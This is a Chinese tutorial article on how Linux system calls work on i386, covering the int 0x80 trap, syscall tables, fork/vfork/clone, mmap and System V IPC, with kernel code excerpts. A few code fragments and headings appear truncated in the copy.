苏必利尔湖在什么洲:wizhu的博客
来源:百度文库 编辑:中财网 时间:2024/04/27 23:30:05
- Linux系统调用讲义
Linux下系统调用的实现
Linux中的系统调用
Linux中怎样编译和定制内核
- Linux下系统调用的实现
- Unix/Linux操作系统的体系结构及系统调用介绍
- 什么是操作系统和系统调用
操作系统是从硬件抽象出来的虚拟机,在该虚拟机上用户可以运行应用程序。它负责直接与硬件交互,向用户程序提供公共服务,并使它们同硬件特性隔离。因为程序不应该依赖于下层的硬件,只有这样应用程序才能很方便的在各种不同的Unix系统之间移动。系统调用是Unix/Linux操作系统向用户程序提供支持的接口,通过这些接口应用程序向操作系统请求服务,控制转向操作系统,而操作系统在完成服务后,将控制和结果返回给用户程序。
- Unix/Linux系统体系结构
一个Unix/Linux系统分为三个层次:用户、核心以及硬件。
其中系统调用是用户程序与核心间的边界,通过系统调用进程可由用户模式转入核心模式,在核心模式下完成一定的服务请求后在返回用户模式。系统调用接口看起来和C程序中的普通函数调用很相似,它们通常是通过库把这些函数调用映射成进入操作系统所需要的原语。
这些操作原语只是提供一个基本功能集,而通过库对这些操作的引用和封装,可以形成丰富而且强大的系统调用库。这里体现了机制与策略相分离的编程思想——系统调用只是提供访问核心的基本机制,而策略是通过系统调用库来体现。
例:execv, execl, execlv, opendir , readdir...
- Unix/Linux运行模式,地址空间和上下文
运行模式(运行态):
一种计算机硬件要运行Unix/Linux系统,至少需要提供两种运行模式:高优先级的核心模式和低优先级的用户模式。
实际上许多计算机都有两种以上的执行模式。如:intel 80x86体系结构就有四层执行特权,内层特权最高。Unix只需要两层即可以了:核心运行在高优先级,称之为核心态;其它外围软件包括shell,编辑程序,Xwindow等等都是在低优先级运行,称之为用户态。之所以采取不同的执行模式主要原因时为了保护,由于用户进程在较低的特权级上运行,它们将不能意外或故意的破坏其它进程或内核。程序造成的破坏会被局部化而不影响系统中其它活动或者进程。当用户进程需要完成特权模式下才能完成的某些功能时,必须严格按照系统调用提供接口才能进入特权模式,然后执行调用所提供的有限功能。
每种运行态都应该有自己的堆栈。在Linux中,分为用户栈和核心栈。用户栈包括在用户态执行时函数调用的参数、局部变量和其它数据结构。有些系统中专门为全局中断处理提供了中断栈,但是x86中并没有中断栈,中断在当前进程的核心栈中处理。
地址空间:
采用特权模式进行保护的根本目的是对地址空间的保护,用户进程不应该能够访问所有的地址空间:只有通过系统调用这种受严格限制的接口,进程才能进入核心态并访问到受保护的那一部分地址空间的数据,这一部分通常是留给操作系统使用。另外,进程与进程之间的地址空间也不应该随便互访。这样,就需要提供一种机制来在一片物理内存上实现同一进程不同地址空间上的保护,以及不同进程之间地址空间的保护。
Unix/Linux中通过虚存管理机制很好的实现了这种保护,在虚存系统中,进程所使用的地址不直接对应物理的存储单元。每个进程都有自己的虚存空间,每个进程有自己的虚拟地址空间,对虚拟地址的引用通过地址转换机制转换成为物理地址的引用。正因为所有进程共享物理内存资源,所以必须通过一定的方法来保护这种共享资源,通过虚存系统很好的实现了这种保护:每个进程的地址空间通过地址转换机制映射到不同的物理存储页面上,这样就保证了进程只能访问自己的地址空间所对应的页面而不能访问或修改其它进程的地址空间对应的页面。
虚拟地址空间分为两个部分:用户空间和系统空间。在用户模式下只能访问用户空间而在核心模式下可以访问系统空间和用户空间。系统空间在每个进程的虚拟地址空间中都是固定的,而且由于系统中只有一个内核实例在运行,因此所有进程都映射到单一内核地址空间。内核中维护全局数据结构和每个进程的一些对象信息,后者包括的信息使得内核可以访问任何进程的地址空间。通过地址转换机制进程可以直接访问当前进程的地址空间(通过MMU),而通过一些特殊的方法也可以访问到其它进程的地址空间。
尽管所有进程都共享内核,但是系统空间是受保护的,进程在用户态无法访问。进程如果需要访问内核,则必须通过系统调用接口。进程调用一个系统调用时,通过执行一组特殊的指令(这个指令是与平台相关的,每种系统都提供了专门的trap命令,基于x86的Linux中是使用int 指令)使系统进入内核态,并将控制权交给内核,由内核替代进程完成操作。当系统调用完成后,内核执行另一组特征指令将系统返回到用户态,控制权返回给进程。
上下文:
一个进程的上下文可以分为三个部分:用户级上下文、寄存器上下文以及系统级上下文。
用户级上下文:正文、数据、用户栈以及共享存储区;
寄存器上下文:程序寄存器(IP),即CPU将执行的下条指令地址,处理机状态寄存器(EFLAGS),栈指针,通用寄存器;
系统级上下文:进程表项(proc结构)和U区,在Linux中这两个部分被合成task_struct,区表及页表(mm_struct , vm_area_struct, pgd, pmd, pte等),核心栈等。
全部的上下文信息组成了一个进程的运行环境。当发生进程调度时,必须对全部上下文信息进行切换,新调度的进程才能运行。进程就是上下文的集合的一个抽象概念。
- 系统调用的功能和分类
- Unix/Linux系统体系结构
系统调用可以看作是一个所有Unix/Linux进程共享的子程序库,但是它是在特权方式下运行,可以存取核心数据结构和它所支持的用户级数据。系统调用的主要功能是使用户可以使用操作系统提供的有关设备管理、文件系统、进程控制进程通讯以及存储管理方面的功能,而不必要了解操作系统的内部结构和有关硬件的细节问题,从而减轻用户负担和保护系统以及提高资源利用率。
系统调用分为两个部分:与文件子系统交互的和进程子系统交互的两个部分。其中和文件子系统交互的部分进一步由可以包括与设备文件的交互和与普通文件的交互的系统调用(open, close, ioctl, create, unlink, . . . );与进程相关的系统调用又包括进程控制系统调用(fork, exit, getpid, . . . ),进程间通讯,存储管理,进程调度等方面的系统调用。
(以i386为例说明)
A.在Linux中系统调用是怎样陷入核心的?
在每种平台上,都有特定的指令可以使进程的执行由用户态转换为核心态,这种指令称作操作系统陷入(operating system trap)。进程通过执行陷入指令后,便可以在核心态运行系统调用代码。
在Linux中是通过软中断来实现这种陷入的,在x86平台上,这条指令是int 0x80。也就是说在Linux中,系统调用的接口是一个中断处理函数的特例。具体怎样通过中断处理函数来实现系统调用的入口将在后面详细介绍。
这样,就需要在系统启动时,对INT 0x80进行一定的初始化,下面将描述其过程:
1.使用汇编子程序setup_idt(linux/arch/i386/kernel/head.S)初始化idt表(中断描述符表),这时所有的入口函数偏移地址都被设为ignore_int
( setup_idt:
lea ignore_int,%edx
movl $(__KERNEL_CS << 16),%eax
movw %dx,%ax /* selector = 0x0010 = cs */
movw $0x8E00,%dx /* interrupt gate - dpl=0, present */
lea SYMBOL_NAME(idt_table),%edi
mov $256,%ecx
rp_sidt:
movl %eax,(%edi)
movl %edx,4(%edi)
addl $8,%edi
dec %ecx
jne rp_sidt
ret
selector = __KERNEL_CS, DPL = 0, TYPE = E, P = 1);
2.Start_kernel()(linux/init/main.c)调用trap_init()(linux/arch/i386/kernel/trap.c)函数设置中断描述符表。在该函数里,实际上是通过调用函数set_system_gate(SYSCALL_VECTOR,&system_call)来完成该项的设置的。其中的SYSCALL_VECTOR就是0x80,而system_call则是一个汇编子函数,它即是中断0x80的处理函数,主要完成两项工作:a. 寄存器上下文的保存;b. 跳转到系统调用处理函数。在后面会详细介绍这些内容。
set_system_gate()是在linux/arch/i386/kernel/trap.S中定义的,在该文件中还定义了几个类似的函数set_intr_gate(), set_trap_gate, set_call_gate()。这些函数都调用了同一个汇编子函数__set_gate(),该函数的作用是设置门描述符。IDT中的每一项都是一个门描述符。
#define _set_gate(gate_addr,type,dpl,addr)
set_gate(idt_table+n,15,3,addr);
门描述符的作用是用于控制转移,其中会包括选择子,这里总是为__KERNEL_CS(指向GDT中的一项段描述符)、入口函数偏移地址、门访问特权级(DPL)以及类型标识(TYPE)。Set_system_gate的DPL为3,表示从特权级3(最低特权级)也可以访问该门,type为15,表示为386中断门。)
- B.与系统调用相关的数据结构
1.系统调用处理函数的函数名的约定
函数名都以“sys_”开头,后面跟该系统调用的名字。例如,系统调用fork()的处理函数名是sys_fork()。
asmlinkage int sys_fork(struct pt_regs regs);
(补充关于asmlinkage的说明)
2.系统调用号(System Call Number)
核心中为每个系统调用定义了一个唯一的编号,这个编号的定义在linux/include/asm/unistd.h中,编号的定义方式如下所示:
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
. . . . . .
用户在调用一个系统调用时,系统调用号号作为参数传递给中断0x80,而该标号实际上是后面将要提到的系统调用表(sys_call_table)的下标,通过该值可以找到相映系统调用的处理函数地址。
3.系统调用表
ENTRY(sys_call_table)
.long SYMBOL_NAME(sys_exit)
.long SYMBOL_NAME(sys_fork)
.long SYMBOL_NAME(sys_read)
.long SYMBOL_NAME(sys_write)
. . . . . .
C.系统调用函数接口是如何转化为陷入命令
如前面提到的,系统调用是通过一条陷入指令进入核心态,然后根据传给核心的系统调用号为索引在系统调用表中找到相映的处理函数入口地址。这里将详细介绍这一过程。
我们还是以x86为例说明:
由于陷入指令是一条特殊指令,而且依赖与操作系统实现的平台,如在x86中,这条指令是int 0x80,这显然不是用户在编程时应该使用的语句,因为这将使得用户程序难于移植。所以在操作系统的上层需要实现一个对应的系统调用库,每个系统调用都在该库中包含了一个入口点(如我们看到的fork, open, close等等),这些函数对程序员是可见的,而这些库函数的工作是以对应系统调用号作为参数,执行陷入指令int 0x80,以陷入核心执行真正的系统调用处理函数。当一个进程调用一个特定的系统调用库的入口点,正如同它调用任何函数一样,对于库函数也要创建一个栈帧。而当进程执行陷入指令时,它将处理机状态转换到核心态,并且在核心栈执行核心代码。
这里给出一个示例(linux/include/asm/unistd.h):
#define _syscallN(type, name, type1, arg1, type2, arg2, . . . ) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
. . . . . .
__syscall_return(type,__res); \
}
在执行一个系统调用库中定义的系统调用入口函数时,实际执行的是类似如上的一段代码。这里牵涉到一些gcc的嵌入式汇编语言,不做详细的介绍,只简单说明其意义:
其中__NR_##name是系统调用号,如name == ioctl,则为__NR_ioctl,它将被放在寄存器eax中作为参数传递给中断0x80的处理函数。而系统调用的其它参数arg1, arg2, …则依次被放入ebx, ecx, . . .等通用寄存器中,并作为系统调用处理函数的参数,这些参数是怎样传入核心的将会在后面介绍。
下面将示例说明:
int func1()
{
int fd, retval;
fd = open(filename, ……);
……
ioctl(fd, cmd, arg);
. . .
}
func2()
{
int fd, retval;
fd = open(filename, ……);
……
__asm__ __volatile__(\
"int $0x80\n\t"\
:"=a"(retval)\
:"0"(__NR_ioctl),\
"b"(fd),\
"c"(cmd),\
"d"(arg));
}
这两个函数在Linux/x86上运行的结果应该是一样的。
若干个库函数可以映射到同一个系统调用入口点。系统调用入口点对每个系统调用定义其真正的语法和语义,但库函数通常提供一个更方便的接口。如系统调用exec有集中不同的调用方式:execl, execle,等,它们实际上只是同一系统调用的不同接口而已。对于这些调用,它们的库函数对它们各自的参数加以处理,来实现各自的特点,但是最终都被映射到同一个核心入口点。
D.系统调用陷入内核后作何初始化处理
在这一部分,我们将介绍INT 0x80的处理函数system_call。
思考一下就会发现,在调用前和调用后执行态完全不相同:前者是在用户栈上执行用户态程序,后者在核心栈上执行核心态代码。那么,为了保证在核心内部执行完系统调用后能够返回调用点继续执行用户代码,必须在进入核心态时保存时往核心中压入一个上下文层;在从核心返回时会弹出一个上下文层,这样用户进程就可以继续运行。
那么,这些上下文信息是怎样被保存的,被保存的又是那些上下文信息呢?这里仍以x86为例说明。
在执行INT指令时,实际完成了以下几条操作:
1.由于INT指令发生了不同优先级之间的控制转移,所以首先从TSS(任务状态段)中获取高优先级的核心堆栈信息(SS和ESP);2.把低优先级堆栈信息(SS和ESP)保留到高优先级堆栈(即核心栈)中;
3.把EFLAGS,外层CS,EIP推入高优先级堆栈(核心栈)中。
4.通过IDT加载CS,EIP(控制转移至中断处理函数)
#define SAVE_ALL \
pushl %es; \
pushl %ds; \
pushl %eax; \
pushl %ebp; \
pushl %edi; \
pushl %esi; \
pushl %edx; \
pushl %ecx; \
pushl %ebx; \
movl $(__KERNEL_DS),%edx; \
movl %edx,%ds; \
movl %edx,%es;
ENTRY(system_call)
SAVE_ALL
GET_CURRENT(%ebx)
cmpl $(NR_syscalls),%eax
jae badsys
testb $0x20,flags(%ebx) # PF_TRACESYS
jne tracesys
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
在这里所做的所有工作是:
1.保存EAX寄存器,因为在SAVE_ALL中保存的EAX寄存器会被调用的返回值所覆盖;
2.调用SAVE_ALL保存寄存器上下文;
3.判断当前调用是否是合法系统调用(EAX是系统调用号,它应该小于NR_syscalls);
4.如果设置了PF_TRACESYS标志,则跳转到syscall_trace,在那里将会把当前进程挂起并向其父进程发送SIGTRAP,这主要是为了设 置调试断点而设计的;
5.如果没有设置PF_TRACESYS标志,则跳转到该系统调用的处理函数入口。这里是以EAX(即前面提到的系统调用号)作为偏移,在系 统调用表sys_call_table中查找处理函数入口地址,并跳转到该入口地址。
1.GET_CURRENT宏
#define GET_CURRENT(reg)
movl %esp, reg; \
andl $-8192, reg;
其作用是取得当前进程的task_struct结构的指针返回到reg中,因为在Linux中核心栈的位置是task_struct之后的两个页面处(8192bytes),所以此处把栈指针与-8192则得到的是task_struct结构指针,而task_struct中偏移为4的位置是成员flags,在这里指令testb $0x20,flags(%ebx)检测的就是task_struct->flags。
2.堆栈中的参数
正如前面提到的,SAVE_ALL是系统调用参数的传入过程,当执行完SAVE_ALL并且再由CALL指令调用其处理函数时,堆栈的结构应该如上图所示。这时的堆栈结构看起来和执行一个普通带参数的函数调用是一样的,参数在堆栈中对应的顺序是(arg1, ebx),(arg2, ecx),(arg3, edx). . . . . .,这正是SAVE_ALL压栈的反顺序,这些参数正是用户在使用系统调用时试图传送给核心的参数。下面是在核心的调用处理函数中使用参数的两种典型方法:
asmlinkage int sys_fork(struct pt_regs regs);
asmlinkage int sys_open(const char * filename, int flags, int mode);
在sys_fork中,把整个堆栈中的内容视为一个struct pt_regs类型的参数,该参数的结构和堆栈的结构是一致的,所以可以使用堆栈中的全部信息。而在sys_open中参数filename, flags, mode正好对应与堆栈中的ebx, ecx, edx的位置,而这些寄存器正是用户在通过C库调用系统调用时给这些参数指定的寄存器。
__asm__ __volatile__(\
"int $0x80\n\t"\
:"=a"(retval)\
:"0"(__NR_open),\
"b"(filename),\
"c"(flags),\
"d"(mode));
3.核心如何使用用户空间的参数
ENTRY(gdt_table)
.quad 0x0000000000000000/* not used */
.quad 0x00cf9a000000ffff /* 0x10 kernel 4GB code at 0x00000000 */
.quad 0x00cf92000000ffff /* 0x18 kernel 4GB data at 0x00000000 */
.quad 0x00cffa000000ffff /* 0x23 user 4GB code at 0x00000000 */
.quad 0x00cff2000000ffff /* 0x2b user 4GB data at 0x00000000 */
.quad 0x0000000000000000 /* not used */
.quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */
.quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */
.quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */
.quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 *
在2.0版的内核中SAVE_ALL宏定义还有这样几条语句:
"movl $" STR(KERNEL_DS) ",%edx\n\t" \
"mov %dx,%ds\n\t" \
"mov %dx,%es\n\t" \
"movl $" STR(USER_DS) ",%edx\n\t" \
"mov %dx,%fs\n\t" \
"movl $0,%edx\n\t" \
调用返回的过程要做的工作比其响应过程要多一些,这些工作几乎是每次从核心态返回用户态都需要做的,这里将简要的说明:
1.判断有没有软中断,如果有则跳转到软中断处理;
2.判断当前进程是否需要重新调度,如果需要则跳转到调度处理;
3.如果当前进程有挂起的信号还没有处理,则跳转到信号处理;
4.使用用RESTORE_ALL来弹出所有被SAVE_ALL压入核心栈的内容并且使用iret返回用户态。
F.实例介绍
这里实现的系统调用hello仅仅是在控制台上打印一条语句,没有任何功能。
1.修改linux/include/i386/unistd.h,在里面增加一条语句:
#define __NR_hello ???(这个数字可能因为核心版本不同而不同)
2.在某个合适的目录中(如:linux/kernel)增加一个hello.c,修改该目录下的Makefile(把相映的.o文件列入Makefile中就可以了)。
3.编写hello.c
. . . . . .
asmlinkage int sys_hello(char * str)
{
printk(“My syscall: hello, I know what you say to me: %s ! \n”, str);
return 0;
}
4.修改linux/arch/i386/kernel/entry.S,在里面增加一条语句:
ENTRY(sys_call_table)
. . . . . .
.long SYMBOL_NAME(sys_hello)
并且修改:
.rept NR_syscalls-??? /* ??? = ??? +1 */
.long SYMBOL_NAME(sys_ni_syscall)
5.在linux/include/i386/中增加hello.h,里面至少应包括这样几条语句:
#ifdef __KERNEL
#else
inline _syscall1(int, hello, char *, str);
#endif
这样就可以使用系统调用hello了
Back
- Linux中的系统调用
- 1. 进程相关的系统调用
Fork & vfork & clone
进程是一个指令执行流及其执行环境,其执行环境是一个系统资源的集合,这些资源在Linux中被抽象成各种数据对象:进程控制块、虚存空间、文件系统,文件I/O、信号处理函数。所以创建一个进程的过程就是这些数据对象的创建过程。
在调用系统调用fork创建一个进程时,子进程只是完全复制父进程的资源,这样得到的子进程独立于父进程,具有良好的并发性,但是二者之间的通讯需要通过专门的通讯机制,如:pipe,fifo,System V IPC机制等,另外通过fork创建子进程系统开销很大,需要将上面描述的每种资源都复制一个副本。这样看来,fork是一个开销十分大的系统调用,这些开销并不是所有的情况下都是必须的,比如某进程fork出一个子进程后,其子进程仅仅是为了调用exec执行另一个执行文件,那么在fork过程中对于虚存空间的复制将是一个多余的过程(由于Linux中是采取了copy-on-write技术,所以这一步骤的所做的工作只是虚存管理部分的复制以及页表的创建,而并没有包括物理也面的拷贝);另外,有时一个进程中具有几个独立的计算单元,可以在相同的地址空间上基本无冲突进行运算,但是为了把这些计算单元分配到不同的处理器上,需要创建几个子进程,然后各个子进程分别计算最后通过一定的进程间通讯和同步机制把计算结果汇总,这样做往往有许多格外的开销,而且这种开销有时足以抵消并行计算带来的好处。
这说明了把计算单元抽象到进程上是不充分的,这也就是许多系统中都引入了线程的概念的原因。在讲述线程前首先介绍以下vfork系统调用,vfork系统调用不同于fork,用vfork创建的子进程共享地址空间,也就是说子进程完全运行在父进程的地址空间上,子进程对虚拟地址空间任何数据的修改同样为父进程所见。但是用vfork创建子进程后,父进程会被阻塞直到子进程调用exec或exit。这样的好处是在子进程被创建后仅仅是为了调用exec执行另一个程序时,因为它就不会对父进程的地址空间有任何引用,所以对地址空间的复制是多余的,通过vfork可以减少不必要的开销。
在Linux中, fork和vfork都是调用同一个核心函数
do_fork(unsigned long clone_flag, unsigned long usp, struct pt_regs)
其中clone_flag包括CLONE_VM, CLONE_FS, CLONE_FILES, CLONE_SIGHAND, CLONE_PID,CLONE_VFORK等等标志位,任何一位被置1了则表明创建的子进程和父进程共享该位对应的资源。所以在vfork的实现中,cloneflags = CLONE_VFORK | CLONE_VM | SIGCHLD,这表示子进程和父进程共享地址空间,同时do_fork会检查CLONE_VFORK,如果该位被置1了,子进程会把父进程的地址空间锁住,直到子进程退出或执行exec时才释放该锁。
在讲述clone系统调用前先简单介绍线程的一些概念。
线程是在进程的基础上进一步的抽象,也就是说一个进程分为两个部分:线程集合和资源集合。线程是进程中的一个动态对象,它应该是一组独立的指令流,进程中的所有线程将共享进程里的资源。但是线程应该有自己的私有对象:比如程序计数器、堆栈和寄存器上下文。
线程分为三种类型:
内核线程、轻量级进程和用户线程。
内核线程:
它的创建和撤消是由内核的内部需求来决定的,用来负责执行一个指定的函数,一个内核线程不需要和一个用户进程联系起来。它共享内核的正文段核全局数据,具有自己的内核堆栈。它能够单独的被调度并且使用标准的内核同步机制,可以被单独的分配到一个处理器上运行。内核线程的调度由于不需要经过态的转换并进行地址空间的重新映射,因此在内核线程间做上下文切换比在进程间做上下文切换快得多。
轻量级进程:
轻量级进程是核心支持的用户线程,它在一个单独的进程中提供多线程控制。这些轻量级进程被单独的调度,可以在多个处理器上运行,每一个轻量级进程都被绑定在一个内核线程上,而且在它的生命周期这种绑定都是有效的。轻量级进程被独立调度并且共享地址空间和进程中的其它资源,但是每个LWP都应该有自己的程序计数器、寄存器集合、核心栈和用户栈。
用户线程:
用户线程是通过线程库实现的。它们可以在没有内核参与下创建、释放和管理。线程库提供了同步和调度的方法。这样进程可以使用大量的线程而不消耗内核资源,而且省去大量的系统开销。用户线程的实现是可能的,因为用户线程的上下文可以在没有内核干预的情况下保存和恢复。每个用户线程都可以有自己的用户堆栈,一块用来保存用户级寄存器上下文以及如信号屏蔽等状态信息的内存区。库通过保存当前线程的堆栈和寄存器内容载入新调度线程的那些内容来实现用户线程之间的调度和上下文切换。
内核仍然负责进程的切换,因为只有内核具有修改内存管理寄存器的权力。用户线程不是真正的调度实体,内核对它们一无所知,而只是调度用户线程下的进程或者轻量级进程,这些进程再通过线程库函数来调度它们的线程。当一个进程被抢占时,它的所有用户线程都被抢占,当一个用户线程被阻塞时,它会阻塞下面的轻量级进程,如果进程只有一个轻量级进程,则它的所有用户线程都会被阻塞。
明确了这些概念后,来讲述Linux的线程和clone系统调用。
在许多实现了MT的操作系统中(如:Solaris,Digital Unix等), 线程和进程通过两种数据结构来抽象表示: 进程表项和线程表项,一个进程表项可以指向若干个线程表项, 调度器在进程的时间片内再调度线程。 但是在Linux中没有做这种区分, 而是统一使用task_struct来管理所有进程/线程,只是线程与线程之间的资源是共享的,这些资源可是是前面提到过的:虚存、文件系统、文件I/O以及信号处理函数甚至PID中的几种。
也就是说Linux中,每个线程都有一个task_struct,所以线程和进程可以使用同一调度器调度。其实Linux核心中,轻量级进程和进程没有质上的差别,因为Linux中进程的概念已经被抽象成了计算状态加资源的集合,这些资源在进程间可以共享。如果一个task独占所有的资源,则是一个HWP,如果一个task和其它task共享部分资源,则是LWP。
clone系统调用就是一个创建轻量级进程的系统调用:
int clone(int (*fn)(void * arg), void *stack, int flags, void * arg);
其中fn是轻量级进程所执行的过程,stack是轻量级进程所使用的堆栈,flags可以是前面提到的CLONE_VM, CLONE_FS, CLONE_FILES, CLONE_SIGHAND,CLONE_PID的组合。Clone 和fork,vfork在实现时都是调用核心函数do_fork。
do_fork(unsigned long clone_flag, unsigned long usp, struct pt_regs);
和fork、vfork不同的是,fork时clone_flag = SIGCHLD;
vfork时clone_flag = CLONE_VM | CLONE_VFORK | SIGCHLD;
而在clone中,clone_flag由用户给出。
下面给出一个使用clone的例子。
Void * func(int arg)
{
. . . . . .
}
int main()
{
int clone_flag, arg;
. . . . . .
clone_flag = CLONE_VM | CLONE_SIGHAND | CLONE_FS |
CLONE_FILES;
stack = (char *)malloc(STACK_FRAME);
stack += STACK_FRAME;
retval = clone((void *)func, stack, clone_flag, arg);
. . . . . .
}
看起来clone的用法和pthread_create有些相似,两者的最根本的差别在于clone是创建一个LWP,对核心是可见的,由核心调度,而pthread_create通常只是创建一个用户线程,对核心是不可见的,由线程库调度。
Nanosleep & sleep
sleep和nanosleep都是使进程睡眠一段时间后被唤醒,但是二者的实现完全不同。
Linux中并没有提供系统调用sleep,sleep是在库函数中实现的,它是通过调用alarm来设定报警时间,调用sigsuspend将进程挂起在信号SIGALARM上,sleep只能精确到秒级上。
nanosleep则是Linux中的系统调用,它是使用定时器来实现的,该调用使调用进程睡眠,并往定时器队列上加入一个time_list型定时器,time_list结构里包括唤醒时间以及唤醒后执行的函数,通过nanosleep加入的定时器的执行函数仅仅完成唤醒当前进程的功能。系统通过一定的机制定时检查这些队列(比如通过系统调用陷入核心后,从核心返回用户态前,要检查当前进程的时间片是否已经耗尽,如果是则调用schedule()函数重新调度,该函数中就会检查定时器队列,另外慢中断返回前也会做此检查),如果定时时间已超过,则执行定时器指定的函数唤醒调用进程。当然,由于系统时间片可能丢失,所以nanosleep精度也不是很高。
alarm也是通过定时器实现的,但是其精度只精确到秒级,另外,它设置的定时器执行函数是在指定时间向当前进程发送SIGALRM信号。
2.存储相关的系统调用
在讲述文件映射的概念时,不可避免的要牵涉到虚存(SVR 4的VM)。实际上,文件映射是虚存的中心概念,文件映射一方面给用户提供了一组措施,似的用户将文件映射到自己地址空间的某个部分,使用简单的内存访问指令读写文件;另一方面,它也可以用于内核的基本组织模式,在这种模式种,内核将整个地址空间视为诸如文件之类的一组不同对象的映射。
Unix中的传统文件访问方式是,首先用open系统调用打开文件,然后使用read,write以及lseek等调用进行顺序或者随即的I/O。这种方式是非常低效的,每一次I/O操作都需要一次系统调用。另外,如果若干个进程访问同一个文件,每个进程都要在自己的地址空间维护一个副本,浪费了内存空间。而如果能够通过一定的机制将页面映射到进程的地址空间中,也就是说首先通过简单的产生某些内存管理数据结构完成映射的创建。当进程访问页面时产生一个缺页中断,内核将页面读入内存并且更新页表指向该页面。而且这种方式非常方便于同一副本的共享。
下面给出以上两种方式的对比图:
VM是面向对象的方法设计的,这里的对象是指内存对象:内存对象是一个软件抽象的概念,它描述内存区与后备存储之间的映射。系统可以使用多种类型的后备存储,比如交换空间,本地或者远程文件以及帧缓存等等。VM系统对它们统一处理,采用同一操作集操作,比如读取页面或者回写页面等。每种不同的后备存储都可以用不同的方法实现这些操作。这样,系统定义了一套统一的接口,每种后备存储给出自己的实现方法。
这样,进程的地址空间就被视为一组映射到不同数据对象上的的映射组成。所有的有效地址就是那些映射到数据对象上的地址。这些对象为映射它的页面提供了持久性的后备存储。映射使得用户可以直接寻址这些对象。
值得提出的是,VM体系结构独立于Unix系统,所有的Unix系统语义,如正文,数据及堆栈区都可以建构在基本VM系统之上。同时,VM体系结构也是独立于存储管理的,存储管理是由操作系统实施的,如:究竟采取什么样的对换和请求调页算法,究竟是采取分段还是分页机制进行存储管理,究竟是如何将虚拟地址转换成为物理地址等等(Linux中是一种叫Three Level Page Table的机制),这些都与内存对象的概念无关。
下面介绍Linux中VM的实现。
如下图所示,一个进程应该包括一个mm_struct(memory manage struct),该结构是进程虚拟地址空间的抽象描述,里面包括了进程虚拟空间的一些管理信息:start_code, end_code, start_data, end_data, start_brk, end_brk等等信息。另外,也有一个指向进程虚存区表(vm_area_struct :virtual memory area)的指针,该链是按照虚拟地址的增长顺序排列的。
在Linux进程的地址空间被分作许多区(vma),每个区(vma)都对应虚拟地址空间上一段连续的区域,vma是可以被共享和保护的独立实体,这里的vma就是前面提到的内存对象。这里给出vm_area_struct的结构,其中,前半部分是公共的,与类型无关的一些数据成员,如:指向mm_struct的指针,地址范围等等,后半部分则是与类型相关的成员,其中最重要的是一个指向vm_operation_struct向量表的指针vm_ops,vm_pos向量表是一组虚函数,定义了与vma类型无关的接口。每一个特定的子类,即每种vma类型都必须在向量表中实现这些操作。这里包括了:open, close, unmap, protect, sync, nopage, wppage, swapout这些操作。
struct vm_area_struct {
/*公共的,与vma类型无关的 */
unsigned long vm_start;
unsigned long vm_end;
struct vm_area_struct *vm_next;
pgprot_t vm_page_prot;
unsigned long vm_flags;
short vm_avl_height;
struct vm_area_struct * vm_avl_left;
struct vm_area_struct * vm_avl_right;
struct vm_area_struct *vm_next_share;
struct vm_area_struct **vm_pprev_share;
/* 与类型相关的 */
struct vm_operations_struct * vm_ops;
unsigned long vm_pgoff;
struct file * vm_file;
unsigned long vm_raend;
void * vm_private_data;
vm_ops: open, close, no_page, swapin, swapout . . . . . .
Mmap系统调用的实现过程是:
1.先通过文件系统定位要映射的文件;
2.权限检查,映射的权限不会超过文件打开的方式,也就是说如果文件是以只读方式打开,那么则不允许建立一个可写映射;
3.创建一个vma对象,并对之进行初始化;
4.调用映射文件的mmap函数,其主要工作是给vm_ops向量表赋值;
5.把该vma链入该进程的vma链表中,如果可以和前后的vma合并则合并;
6.如果是要求VM_LOCKED(映射区不被换出)方式映射,则发出缺页请求,把映射页面读入内存中;
该调用可以看作是mmap的一个逆过程。它将进程中从start开始length长度的一段区域的映射关闭,如果该区域不是恰好对应一个vma,则有可能会分割几个或几个vma。
Msync(void * start, size_t length, int flags) :
把映射区域的修改回写到后备存储中。因为munmap时并不保证页面回写,如果不调用msync,那么有可能在munmap后丢失对映射区的修改。其中flags可以是MS_SYNC, MS_ASYNC, MS_INVALIDATE,MS_SYNC要求回写完成后才返回,MS_ASYNC发出回写请求后立即返回,MS_INVALIDATE使用回写的内容更新该文件的其它映射。
该系统调用是通过调用映射文件的sync函数来完成工作的。
brk(void * end_data_segement):
将进程的数据段扩展到end_data_segement指定的地址,该系统调用和mmap的实现方式十分相似,同样是产生一个vma,然后指定其属性。不过在此之前需要做一些合法性检查,比如该地址是否大于mm->end_code,end_data_segement和mm->brk之间是否还存在其它vma等等。通过brk产生的vma映射的文件为空,这和匿名映射产生的vma相似,关于匿名映射不做进一步介绍。我们使用的库函数malloc就是通过brk实现的,通过下面这个例子很容易证实这点:
main()
{
char * m, * n;
int size;
m = (char *)sbrk(0);
printf("sbrk addr = %08lx\n", m);
do {
n = malloc(1024);
printf("malloc addr = %08lx\n", n);
m = (char *)sbrk(0);
}
malloc addr = 08049be0
malloc addr = 08049fe8
malloc addr = 0804a3f0
new sbrk addr = 0804b000
3.进程间通信(IPC)
进程间通讯可以通过很多种机制,包括signal, pipe, fifo, System V IPC, 以及socket等等,前几种概念都比较好理解,这里着重介绍关于System V IPC。
System V IPC包括三种机制:message(允许进程发送格式化的数据流到任意的进程)、shared memory(允许进程间共享它们虚拟地址空间的部分区域)和semaphore(允许进程间同步的执行)。
操作系统核心中为它们分别维护着一个表,这三个表是系统中所有这三种IPC对象的集合,表的索引是一个数值ID,进程通过这个ID可以查找到需要使用的IPC资源。进程每创建一个IPC对象,系统中都会在相应的表中增加一项。之后其它进程(具有许可权的进程)只要通过该IPC对象的ID则可以引用它。
IPC对象必须使用IPC_RMID命令来显示的释放,否则这个对象就处于活动状态,甚至所有的使用它的进程都已经终止。这种机制某些时候十分有用,但是也正因为这种特征,使得操作系统内核无法判断IPC对象是被用户故意遗留下来供将来其它进程使用还是被无意抛弃的。
Linux中只提供了一个系统调用接口ipc()来完成所有System V IPC操作,我们常使用的是建立在该调用之上的库函数接口。对于这三种IPC,都有很相似的三种调用:xxxget, (msgsnd, msgrcv)|semopt | (shmat, shmdt), xxxctl
